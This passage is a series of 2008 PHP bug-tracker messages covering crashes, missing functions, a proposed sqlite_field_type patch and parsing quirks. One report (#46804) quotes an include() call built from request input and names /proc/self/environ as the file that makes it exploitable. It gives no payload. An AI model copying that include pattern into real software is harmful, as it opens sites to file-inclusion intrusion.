XML I get expected result. [2008-09-10 23:58:49] php at isnoop dot net Description: The @attributes for the top-level element in a SimpleXMLElement object aren't returned as part of any iteration over the object. Reproduced in 5.3.0alpha1 as well. Reproduce code: --- $xml = ' value '; $obj = simplexml_load_string($xml); print_r(get_object_vars($obj)); Expected result: Array ( [EMAIL PROTECTED] => Array ( [id] => 1 ) [key] => value ) Actual result: -- Array ( [key] => value ) -- Edit this bug report at http://bugs.php.net/?id=46048&edit=1
#46805 [NEW]: libmysqli.dll is missing
From: manga at premits dot com Operating system: windows 2003 r2 PHP version: 5.2.8 PHP Bug Type: MySQLi related Bug description: libmysqli.dll is missing Description: libmysqli is still mission in the 5.2.6 and 5.2.8 version. mysql extensions can't be loaded. Reproduce code: --- mysql_connect is not recognized Expected result: I receive the error stating that I'm calling an undefine function mysql_connect. I'm running the windows 2003 R2 server with php 5.2.8 and mysql 5.1.30. I made a right installation. PHP runs a part, MySQL run apart but together they are not working; the extensions I think can't be loaded. I copied the necessary dlls in all what you can imagine as folder where they could have to be; noway. And I noticed that the libmysqli.dll is quite missing in the binaries. I copied it the from an older version; very old version as it's still missing in the newest version but no chance. It will not work. My PHP is not working with my mySQL on a windows 2003 R2 IIS Server. ---> And I can't say I'm the one who is doing anything wrong. Actual result: -- I hope to get an solution as I'm not able to run my server since 4 days and my project is stucking. -- Edit bug report at http://bugs.php.net/?id=46805&edit=1 -- Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=46805&r=trysnapshot52 Try a CVS snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=46805&r=trysnapshot53 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=46805&r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=46805&r=fixedcvs Fixed in CVS and need be documented: http://bugs.php.net/fix.php?id=46805&r=needdocs Fixed in release: http://bugs.php.net/fix.php?id=46805&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=46805&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=46805&r=needscript Try newer version: http://bugs.php.net/fix.php?id=46805&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=46805&r=support Expected behavior: http://bugs.php.net/fix.php?id=46805&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=46805&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=46805&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=46805&r=globals PHP 4 support discontinued: http://bugs.php.net/fix.php?id=46805&r=php4 Daylight Savings:http://bugs.php.net/fix.php?id=46805&r=dst IIS Stability: http://bugs.php.net/fix.php?id=46805&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=46805&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=46805&r=float No Zend Extensions: http://bugs.php.net/fix.php?id=46805&r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=46805&r=mysqlcfg
#46656 [Opn]: Crash on array allocation/gc
ID: 46656
User updated by: [EMAIL PROTECTED]
Reported By: [EMAIL PROTECTED]
Status: Open
Bug Type: Reproducible crash
Operating System: win32 only - Windows Vista
PHP Version: 5.3CVS-2008-11-24 (snap)
New Comment:
Some new information about reproducing:
I have been able to reproduce on another machine, but not without a
little bit of coaxing. In particular, these conditions must be met:
* PHPT tests must be set up. If they are skipped, the segfault does not
occur.
* `php tests/index.php` --flush must be run with a PHP 5.2 version,
prior to running `php tests/index.php` with a PHP 5.3 snap. The segfault
does not occur on a cold run of the test suite.
It might be possible to reproduce on Linux; I'm currently
reconstructing the experimental setup and will report back.
Previous Comments:
[2008-11-25 17:49:07] [EMAIL PROTECTED]
Nope, I cannot reproduce on the latest 5.3 snap on Ubuntu Linux
Intrepid.
[2008-11-25 08:37:04] [EMAIL PROTECTED]
Can you reproduce this on a real OS, like some Linux for example?
[2008-11-24 00:38:39] [EMAIL PROTECTED]
Description:
I am getting a crash on the following code:
class SimpleMock {
// ...
function SimpleMock() {
$this->actions = new SimpleCallSchedule();
$this->expectations = new SimpleCallSchedule();
$this->call_counts = array();
$this->expected_counts = array(); // here
$this->max_counts = array();
$this->expected_args = array();
$this->expected_args_at = array();
$this->getCurrentTestCase()->tell($this);
}
Which is quite strange, because allocating an array shouldn't cause a
crash! Here is the stack dump:
Thread 0 - System ID 4752
Entry point php+2af2
Create time 11/23/2008 7:29:25 PM
Time spent in user mode 0 Days 0:0:3.73
Time spent in kernel mode 0 Days 0:0:1.669
Function Arg 1 Arg 2 Arg 3 Source
php5!zend_hash_apply+5 1008ff40 1008fe0d
php5!gc_collect_cycles+2fc 04895474 00c0eb10 04ab4898
php5!gc_collect_cycles+24d 04ab0ab8 04ab4898 105286f0
php5!gc_collect_cycles+4b 04ab4898 1008cfaa 04ab4898
php5!gc_zval_possible_root+ce
PHP5!ZEND_HASH_APPLY+5WARNING - DebugDiag was not able to locate debug
symbols for php5.dll, so the information below may be incomplete.
In
php__PID__4896__Date__11_23_2008__Time_07_30_05PM__248__Second_Chance_Exception_C005.dmp
the assembly instruction at php5!zend_hash_apply+5 in
C:\Software\PHP\versions\5.3.0alpha3-dev\php5.dll from The PHP Group has
caused an access violation exception (0xC005) when trying to read
from memory location 0x0026 on thread 0
I might be doing something wrong with regards to setting up the
backtrace, since it's complaining about php5.dll even though I do have
php5.dbg in my path. If you need a better backtrace, I can see what I
can do.
If you're interested in attempting to reproduce this, the configuration
is fairly standard. Use the instructions here
to setup the HTML Purifier
development environment, and run the full test suite. (It doesn't work
if you try to run just the test that PHP dies on, or try to run it by
parts.)
--
Edit this bug report at http://bugs.php.net/?id=46656&edit=1
#46656 [Opn]: Crash on array allocation/gc
ID: 46656
Updated by: [EMAIL PROTECTED]
Reported By: [EMAIL PROTECTED]
Status: Open
Bug Type: Reproducible crash
Operating System: win32 only - Windows Vista
PHP Version: 5.3CVS-2008-11-24 (snap)
New Comment:
No luck. Poke me if any of you try to set things up on Windows.
Previous Comments:
[2008-12-09 03:05:14] [EMAIL PROTECTED]
Some new information about reproducing:
I have been able to reproduce on another machine, but not without a
little bit of coaxing. In particular, these conditions must be met:
* PHPT tests must be set up. If they are skipped, the segfault does not
occur.
* `php tests/index.php` --flush must be run with a PHP 5.2 version,
prior to running `php tests/index.php` with a PHP 5.3 snap. The segfault
does not occur on a cold run of the test suite.
It might be possible to reproduce on Linux; I'm currently
reconstructing the experimental setup and will report back.
[2008-11-25 17:49:07] [EMAIL PROTECTED]
Nope, I cannot reproduce on the latest 5.3 snap on Ubuntu Linux
Intrepid.
[2008-11-25 08:37:04] [EMAIL PROTECTED]
Can you reproduce this on a real OS, like some Linux for example?
[2008-11-24 00:38:39] [EMAIL PROTECTED]
Description:
I am getting a crash on the following code:
class SimpleMock {
// ...
function SimpleMock() {
$this->actions = new SimpleCallSchedule();
$this->expectations = new SimpleCallSchedule();
$this->call_counts = array();
$this->expected_counts = array(); // here
$this->max_counts = array();
$this->expected_args = array();
$this->expected_args_at = array();
$this->getCurrentTestCase()->tell($this);
}
Which is quite strange, because allocating an array shouldn't cause a
crash! Here is the stack dump:
Thread 0 - System ID 4752
Entry point php+2af2
Create time 11/23/2008 7:29:25 PM
Time spent in user mode 0 Days 0:0:3.73
Time spent in kernel mode 0 Days 0:0:1.669
Function Arg 1 Arg 2 Arg 3 Source
php5!zend_hash_apply+5 1008ff40 1008fe0d
php5!gc_collect_cycles+2fc 04895474 00c0eb10 04ab4898
php5!gc_collect_cycles+24d 04ab0ab8 04ab4898 105286f0
php5!gc_collect_cycles+4b 04ab4898 1008cfaa 04ab4898
php5!gc_zval_possible_root+ce
PHP5!ZEND_HASH_APPLY+5WARNING - DebugDiag was not able to locate debug
symbols for php5.dll, so the information below may be incomplete.
In
php__PID__4896__Date__11_23_2008__Time_07_30_05PM__248__Second_Chance_Exception_C005.dmp
the assembly instruction at php5!zend_hash_apply+5 in
C:\Software\PHP\versions\5.3.0alpha3-dev\php5.dll from The PHP Group has
caused an access violation exception (0xC005) when trying to read
from memory location 0x0026 on thread 0
I might be doing something wrong with regards to setting up the
backtrace, since it's complaining about php5.dll even though I do have
php5.dbg in my path. If you need a better backtrace, I can see what I
can do.
If you're interested in attempting to reproduce this, the configuration
is fairly standard. Use the instructions here
to setup the HTML Purifier
development environment, and run the full test suite. (It doesn't work
if you try to run just the test that PHP dies on, or try to run it by
parts.)
--
Edit this bug report at http://bugs.php.net/?id=46656&edit=1
#46806 [NEW]: mb_strimwidth
From: swiab0729 at gmail dot com
Operating system: FreeBSD
PHP version: 5.2CVS-2008-12-09 (CVS)
PHP Bug Type: Unknown/Other Function
Bug description: mb_strimwidth
Description:
When the original sring $str is longer then $width of the desired trim,
the width of the truncated string returned by mb_strimwidth() will count
"length of $trimmarker" in.
Reproduce code:
---
echo mb_strimwidth('helloworld', 0, 5, '...', 'UTF-8');
echo mb_strimwidth('hello', 0, 5, '...', 'UTF-8');
Expected result:
hello...
hello
Actual result:
--
he...
hello
--
Edit bug report at http://bugs.php.net/?id=46806&edit=1
--
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=46806&r=trysnapshot52
Try a CVS snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=46806&r=trysnapshot53
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=46806&r=trysnapshot60
Fixed in CVS:
http://bugs.php.net/fix.php?id=46806&r=fixedcvs
Fixed in CVS and need be documented:
http://bugs.php.net/fix.php?id=46806&r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=46806&r=alreadyfixed
Need backtrace:
http://bugs.php.net/fix.php?id=46806&r=needtrace
Need Reproduce Script:
http://bugs.php.net/fix.php?id=46806&r=needscript
Try newer version:
http://bugs.php.net/fix.php?id=46806&r=oldversion
Not developer issue:
http://bugs.php.net/fix.php?id=46806&r=support
Expected behavior:
http://bugs.php.net/fix.php?id=46806&r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=46806&r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=46806&r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=46806&r=globals
PHP 4 support discontinued: http://bugs.php.net/fix.php?id=46806&r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=46806&r=dst
IIS Stability:
http://bugs.php.net/fix.php?id=46806&r=isapi
Install GNU Sed:
http://bugs.php.net/fix.php?id=46806&r=gnused
Floating point limitations:
http://bugs.php.net/fix.php?id=46806&r=float
No Zend Extensions:
http://bugs.php.net/fix.php?id=46806&r=nozend
MySQL Configuration Error:
http://bugs.php.net/fix.php?id=46806&r=mysqlcfg
#46745 [Fbk->Opn]: Multipart/form-data field names truncated at semicolon in certain cases
ID: 46745 User updated by: david at sickmiller dot com Reported By: david at sickmiller dot com -Status: Feedback +Status: Open Bug Type: HTTP related Operating System: Linux PHP Version: 5.2.6 New Comment: For a web application, I have written a PHP file that is a general form handler. Various different forms all post to this same file, which does a foreach through $_POST and essentially produces a table with each field question and answer. Some of the forms include file uploads, so I have to use multipart/form-data. The forms are generated dynamically in a moderately expensive operation and result in HTML like this: What's your first name? The questions actually come from different systems, so I don't have the flexibility to change them to remove the non-alphanumeric characters. And it shouldn't be necessary according to the HTML spec. It's generally been working, except for the peculiar combinations of apostophes, quotation marks, and semicolons that I inadvertently ran into recently and have documented in this bug. I checked the header, and it looks like Firefox is correctly submitting the data. I realize this is a niche case. How difficult does the fix look? Previous Comments: [2008-12-08 11:52:46] [EMAIL PROTECTED] Eh..what's the actual bug here? If you pass crap to PHP, you get crap back. [2008-12-03 21:54:47] david at sickmiller dot com Description: When a form is submitted using multipart-/form-data enctype, PHP will truncate field names if they contain semicolons and certain other characters. It seems to happen when there is an uneven number of quotation marks that precede the semicolon. Reproduce code: --- Expected result: Array ( [before_;_after] => ["_before_;_after] => ['_before_;_after] => ['_'_before_;_after] => ['_"_before_;_after] => ["_'_before_;_after] => ["_"_before_;_after] => ["_'_'_before_;_after] => ["_'_"_before_;_after] => ["_"_'_before_;_after] => ["_"_"_before_;_after] => ['_'_'_before_;_after] => ['_'_"_before_;_after] => ['_"_'_before_;_after] => ['_"_"_before_;_after] => ) Actual result: -- Array ( [before_;_after] => ["_before_] => ['_before_;_after] => ['_'_before_;_after] => ['_"_before_] => ["_'_before_;_after] => ["_"_before_;_after] => ["_'_'_before_] => ["_'_"_before_;_after] => ["_"_'_before_;_after] => ["_"_"_before_] => ['_'_'_before_;_after] => ['_'_"_before_] => ['_"_'_before_;_after] => ['_"_"_before_;_after] => ) -- Edit this bug report at http://bugs.php.net/?id=46745&edit=1
#46804 [Com]: file related functions/constructs are vulnerable if path is based on user input
ID: 46804 Comment by: crrodriguez at opensuse dot org Reported By: deminy at deminy dot net Status: Open Bug Type: Filesystem function related Operating System: Ubuntu PHP Version: 5.2.8 New Comment: There is extensive literature out there about this, please do your homework before opening bug reports. ps: use allow_url_include=off to prevent this problem, which is fundamentally a problem in **your code**. Previous Comments: [2008-12-09 00:57:54] deminy at deminy dot net Description: One of my web hosts was hacked some time ago. After checking access_log and made some research online, I think it was caused by a security bug in PHP, which may cause some PHP open source programs vulnerable. If a PHP program include a file whose file name is based on user request data (e.g., "include($_REQUEST['lang'] . 'inc.php';"), and '/proc/self/environ' is (accidentally) readable by Apache user on Unix/Linux server, the server is probably vulnerable. Posting related HTTP access log and sample code here may be a threaten to sites built on some PHP open source programs. Please send me an email to request details. Thanks. -- Edit this bug report at http://bugs.php.net/?id=46804&edit=1
#46807 [NEW]: missing sqlite_field_type function
From: pwhelan at exis dot cl Operating system: PHP version: 5.2.8 PHP Bug Type: Feature/Change Request Bug description: missing sqlite_field_type function Description: The function sqlite_field_type does not exist. The function sqlite_fetch_column_types is a poor substitute when working with queries with JOINs, since it would require a full blown SQL Parser. This function is trivial to implement taking advantage of the behaviour of sqlite_fetch, which passes the types of the columns in the same way it passes the column names. Reproduce code: --- SQL: CREATE TABLE foo ( id INTEGER PRIMARY KEY, foo TEXT, bar VARCHAR ); Expected result: FIELD id has type INTEGER FIELD foo has type TEXT FIELD bar has type VARCHAR Actual result: -- Fatal error: Call to undefined function sqlite_field_types() in /var/www/sys/db/fields.php on line 8 -- Edit bug report at http://bugs.php.net/?id=46807&edit=1 -- Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=46807&r=trysnapshot52 Try a CVS snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=46807&r=trysnapshot53 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=46807&r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=46807&r=fixedcvs Fixed in CVS and need be documented: http://bugs.php.net/fix.php?id=46807&r=needdocs Fixed in release: http://bugs.php.net/fix.php?id=46807&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=46807&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=46807&r=needscript Try newer version: http://bugs.php.net/fix.php?id=46807&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=46807&r=support Expected behavior: http://bugs.php.net/fix.php?id=46807&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=46807&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=46807&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=46807&r=globals PHP 4 support discontinued: http://bugs.php.net/fix.php?id=46807&r=php4 Daylight Savings:http://bugs.php.net/fix.php?id=46807&r=dst IIS Stability: http://bugs.php.net/fix.php?id=46807&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=46807&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=46807&r=float No Zend Extensions: http://bugs.php.net/fix.php?id=46807&r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=46807&r=mysqlcfg
#46807 [Opn]: missing sqlite_field_type function
ID: 46807
User updated by: pwhelan at exis dot cl
Reported By: pwhelan at exis dot cl
Status: Open
Bug Type:Feature/Change Request
PHP Version: 5.2.8
New Comment:
I found no other way to include the patch, so here it is:
diff -u php-5.2.6/ext/sqlite/php_sqlite.h
php5-5.2.6/ext/sqlite/php_sqlite.h
--- php-5.2.6/ext/sqlite/php_sqlite.h 2007-12-31 04:20:11.0
-0300
+++ php5-5.2.6/ext/sqlite/php_sqlite.h 2008-12-09 02:55:26.0
-0300
@@ -60,6 +60,7 @@
PHP_FUNCTION(sqlite_num_rows);
PHP_FUNCTION(sqlite_num_fields);
PHP_FUNCTION(sqlite_field_name);
+PHP_FUNCTION(sqlite_field_type);
PHP_FUNCTION(sqlite_seek);
PHP_FUNCTION(sqlite_rewind);
PHP_FUNCTION(sqlite_next);
diff -u php-5.2.6/ext/sqlite/sqlite.c php5-5.2.6/ext/sqlite/sqlite.c
--- php-5.2.6/ext/sqlite/sqlite.c 2007-12-31 04:20:11.0 -0300
+++ php5-5.2.6/ext/sqlite/sqlite.c 2008-12-09 02:54:50.0 -0300
@@ -138,6 +138,7 @@
int nrows;
int curr_row;
char **col_names;
+ char **col_types;
int alloc_rows;
int mode;
char **table;
@@ -186,6 +187,7 @@
PHP_FE(sqlite_num_rows, NULL)
PHP_FE(sqlite_num_fields, NULL)
PHP_FE(sqlite_field_name, NULL)
+ PHP_FE(sqlite_field_type, NULL)
PHP_FE(sqlite_seek, NULL)
PHP_FE(sqlite_rewind, NULL)
PHP_FE(sqlite_next, NULL)
@@ -235,6 +237,7 @@
PHP_ME_MAPPING(column, sqlite_column, NULL, 0)
PHP_ME_MAPPING(numFields, sqlite_num_fields, NULL, 0)
PHP_ME_MAPPING(fieldName, sqlite_field_name, NULL, 0)
+ PHP_ME_MAPPING(fieldType, sqlite_field_type, NULL, 0)
/* iterator */
PHP_ME_MAPPING(current, sqlite_current, NULL, 0)
PHP_ME_MAPPING(key, sqlite_key, NULL, 0)
@@ -259,6 +262,7 @@
PHP_ME_MAPPING(column, sqlite_column, NULL, 0)
PHP_ME_MAPPING(numFields, sqlite_num_fields, NULL, 0)
PHP_ME_MAPPING(fieldName, sqlite_field_name, NULL, 0)
+ PHP_ME_MAPPING(fieldType, sqlite_field_type, NULL, 0)
/* iterator */
PHP_ME_MAPPING(current, sqlite_current, NULL, 0)
PHP_ME_MAPPING(next, sqlite_next, NULL, 0)
@@ -396,7 +400,12 @@
}
efree(res->col_names);
}
-
+ if (res->col_types) {
+ for (j = 0; j < res->ncolumns; j++) {
+ efree(res->col_types[j]);
+ }
+ efree(res->col_types);
+ }
if (res->db) {
zend_list_delete(res->db->rsrc_id);
}
@@ -1448,6 +1457,16 @@
php_sqlite_strtolower(rres->col_names[i]);
}
}
+ rres->col_types = safe_emalloc(rres->ncolumns, sizeof(char *),
0);
+ for (i = 0; i < rres->ncolumns; i++) {
+ rres->col_types[i] =
estrdup((char*)colnames[i+rres->ncolumns]);
+
+ if (SQLITE_G(assoc_case) == 1) {
+ php_sqlite_strtoupper(rres->col_types[i]);
+ } else if (SQLITE_G(assoc_case) == 2) {
+ php_sqlite_strtolower(rres->col_types[i]);
+ }
+ }
if (!rres->buffered) {
/* non buffered mode - also fetch memory for on single
row */
rres->table = safe_emalloc(rres->ncolumns, sizeof(char
*), 0);
@@ -2624,6 +2643,34 @@
RETURN_STRING(res->col_names[field], 1);
}
+/* {{{ proto string sqlite_field_type(resource result, int
field_index)
+ Returns the type of a particular field of a result set. */
+PHP_FUNCTION(sqlite_field_type)
+{
+ zval *zres;
+ struct php_sqlite_result *res;
+ long field;
+ zval *object = getThis();
+
+ if (object) {
+ if (FAILURE == zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,
"l",
&field)) {
+ return;
+ }
+ RES_FROM_OBJECT(res, object);
+ } else {
+ if (FAILURE == zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,
"rl", &zres, &field)) {
+ return;
+ }
+ ZEND_FETCH_RESOURCE(res, struct php_sqlite_result *, &zres, -1,
"sqlite result", le_sqlite_result);
+ }
+
+ if (field < 0 || field >= res->ncolumns) {
+ php_error_docref(NULL TSRMLS_CC, E_WARNING, "field %ld out of
range", field);
+ RETURN_FALSE;
+ }
+
+ RETURN_STRING(res->col_types[field], 1);
+}
/* }}} */
/* {{{ proto bool sqlite_seek(resource result, int row)
Previous Comments:
[2008-12-09 06:22:01] pwhelan at exis dot cl
Description:
The function sqlite_field_type does not exist. The function
sqlite_fetch_column_types is a poor substitute when working with queries
with JOINs, si
#46808 [NEW]: Mysqli predictably crashes (segmentation fault) on LONGTEXT columns
From: wcshields at gmail dot com
Operating system: Ubuntu 8.04 LTS x86 32 bit
PHP version: 5.2.8
PHP Bug Type: Reproducible crash
Bug description: Mysqli predictably crashes (segmentation fault) on LONGTEXT
columns
Description:
Mysqli restores garbage from longtext columns in mysql 5.0.51a connected
over TCP (also happens with Unix domain sockets) and, after a random number
of rows, seg faults. The number of rows is unpredictable but consistent.
If you find something that crashes after 11 rows, it will crash after 11
rows every time. Change the order by clause and it might crash every time
after 3 rows.
As per bugs #44867 and several others I've found, people have been
reporting this issue since as early as 2005 and it still hasn't been
addressed. Can someone PLEASE actually look into it?
Reproduce code:
---
prepare("SELECT name, longtext1 FROM sampletable");
$stmt->execute();
$stmt->bind_result($name, $value);
$count = 1;
while ($stmt->fetch()) {
$size = sizeof($value);
echo "$name $size\n";
$count++;
}
$stmt->close();
?>
Expected result:
To retrieve the exact contents of all longtext values without crashing.
Actual result:
--
Segmentation fault.
$ gdb php core
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show
copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/tls/i686/cmov/libcrypt.so.1...done.
Loaded symbols for /lib/tls/i686/cmov/libcrypt.so.1
Reading symbols from /lib/tls/i686/cmov/librt.so.1...done.
Loaded symbols for /lib/tls/i686/cmov/librt.so.1
Reading symbols from /lib/tls/i686/cmov/libresolv.so.2...done.
Loaded symbols for /lib/tls/i686/cmov/libresolv.so.2
Reading symbols from /lib/tls/i686/cmov/libdl.so.2...done.
Loaded symbols for /lib/tls/i686/cmov/libdl.so.2
Reading symbols from /usr/lib/libmysqlclient.so.15...done.
Loaded symbols for /usr/lib/libmysqlclient.so.15
Reading symbols from /lib/tls/i686/cmov/libpthread.so.0...done.
Loaded symbols for /lib/tls/i686/cmov/libpthread.so.0
Reading symbols from /lib/tls/i686/cmov/libnsl.so.1...done.
Loaded symbols for /lib/tls/i686/cmov/libnsl.so.1
Reading symbols from /lib/tls/i686/cmov/libm.so.6...done.
Loaded symbols for /lib/tls/i686/cmov/libm.so.6
Reading symbols from /usr/lib/libz.so.1...done.
Loaded symbols for /usr/lib/libz.so.1
Reading symbols from /usr/lib/libxml2.so.2...done.
Loaded symbols for /usr/lib/libxml2.so.2
Reading symbols from /lib/tls/i686/cmov/libc.so.6...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/tls/i686/cmov/libnss_files.so.2...done.
Loaded symbols for /lib/tls/i686/cmov/libnss_files.so.2
Core was generated by `./php'.
Program terminated with signal 11, Segmentation fault.
[New process 5006]
#0 0x08130eda in zif_mysqli_stmt_fetch (ht=0, return_value=0x856e20c,
return_value_ptr=0x0, this_ptr=0x856e0b8, return_value_used=1)
at /home/wshields/php-5.2.8/ext/mysqli/mysqli_api.c:665
665 if (Z_TYPE_P(stmt->result.vars[i]) ==
IS_STRING) {
(gdb) bt
#0 0x08130eda in zif_mysqli_stmt_fetch (ht=0, return_value=0x856e20c,
return_value_ptr=0x0, this_ptr=0x856e0b8, return_value_used=1)
at /home/wshields/php-5.2.8/ext/mysqli/mysqli_api.c:665
#1 0x083515e5 in zend_do_fcall_common_helper_SPEC
(execute_data=0xbfb073e4)
at /home/wshields/php-5.2.8/Zend/zend_vm_execute.h:200
#2 0x08352239 in ZEND_DO_FCALL_BY_NAME_SPEC_HANDLER
(execute_data=0xbfb073e4)
at /home/wshields/php-5.2.8/Zend/zend_vm_execute.h:322
#3 0x08351138 in execute (op_array=0x856d144)
at /home/wshields/php-5.2.8/Zend/zend_vm_execute.h:92
#4 0x0832c76c in zend_execute_scripts (type=8, retval=0x0, file_count=3)
at /home/wshields/php-5.2.8/Zend/zend.c:1134
#5 0x082d91d9 in php_execute_script (primary_file=0xbfb0972c)
at /home/wshields/php-5.2.8/main/main.c:2023
#6 0x083a8de5 in main (argc=1, argv=0xbfb09884)
at /home/wshields/php-5.2.8/sapi/cli/php_cli.c:1133
--
Edit bug report at http://bugs.php.net/?id=46808&edit=1
--
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=46808&r=trysnapshot52
Try a CVS snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=46808&r=trysnapshot53
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=46808&r=trysnapshot60
Fixed in CVS:
http://bugs.php.net/fix.php?id=46808&r=fixedcvs
Fixed in CVS and need be documented:
http://bugs.php.net/fix.php?id=46808&r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=46808&r=already
